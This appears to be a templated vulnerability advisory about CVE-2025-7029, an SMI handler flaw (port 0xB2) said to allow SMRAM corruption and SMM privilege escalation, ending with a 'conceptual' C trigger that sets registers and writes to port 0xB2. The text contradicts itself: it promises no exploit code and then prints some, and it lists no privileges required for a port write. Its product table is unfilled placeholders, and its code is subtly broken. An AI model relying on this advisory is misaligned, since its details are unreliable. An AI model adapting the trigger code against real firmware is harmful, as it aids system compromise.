CVE-2025-7029: A Critical Software SMI Handler Vulnerability Permitting Privilege Escalation

Overview

A critical vulnerability, designated as CVE-2025-7029, has been discovered that poses a significant risk to the integrity of numerous systems. This vulnerability is present in the Software SMI handler (SwSmiInputValue 0xB2), enabling a local attacker to control the RBX register. The RBX register is essential for deriving pointers passed into power and thermal configuration logic, making it a critical part of the system. This vulnerability is of particular concern due to the potential for system compromise or data leakage, making it a high-priority issue for cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2025-7029
Severity: High (CVSS Score 8.2)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Arbitrary SMRAM corruption and potential SMM privilege escalation, leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The vulnerability in the Software SMI handler allows a local attacker to control the RBX register. This register is used to derive pointers (OcHeader, OcData) passed into power and thermal configuration logic. As a result, the attacker can manipulate these pointers to corrupt SMRAM memory arbitrarily. The buffers are not validated before performing multiple structured memory writes based on OcSetup NVRAM values, enabling the attacker to escalate privileges within the System Management Mode (SMM).

Conceptual Example Code

While we won’t provide a specific exploitation example for ethical reasons, an attacker would likely use a crafted payload to manipulate the SwSmiInputValue and control the RBX register. This could be achieved through a malicious application or script running locally on the vulnerable system. The payload would aim to manipulate the OcSetup NVRAM values, leading to arbitrary SMRAM corruption and subsequent SMM privilege escalation.

#include <stdio.h>
#include <stdlib.h>
// This is a conceptual example and may not work as intended
int main() {
unsigned long *ptr;
unsigned long rax, rbx, rcx, rdx;
ptr = mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
// Set rbx to the address of our buffer
rbx = (unsigned long)ptr;
// SwSmiInputValue 0xB2
rax = 0xB2;
rcx = 0;
rdx = 0;
// Trigger the vulnerability
asm volatile(
"mov %0, %%rax\n"
"mov %1, %%rbx\n"
"mov %2, %%rcx\n"
"mov %3, %%rdx\n"
"out %%al, $0xb2"
: : "r"(rax), "r"(rbx), "r"(rcx), "r"(rdx) : "rax", "rbx", "rcx", "rdx"
);
return 0;
}

The above example is a conceptual representation that illustrates how an attacker could potentially exploit the vulnerability. It is very important to apply the recommended mitigation measures to prevent exploitation of this vulnerability.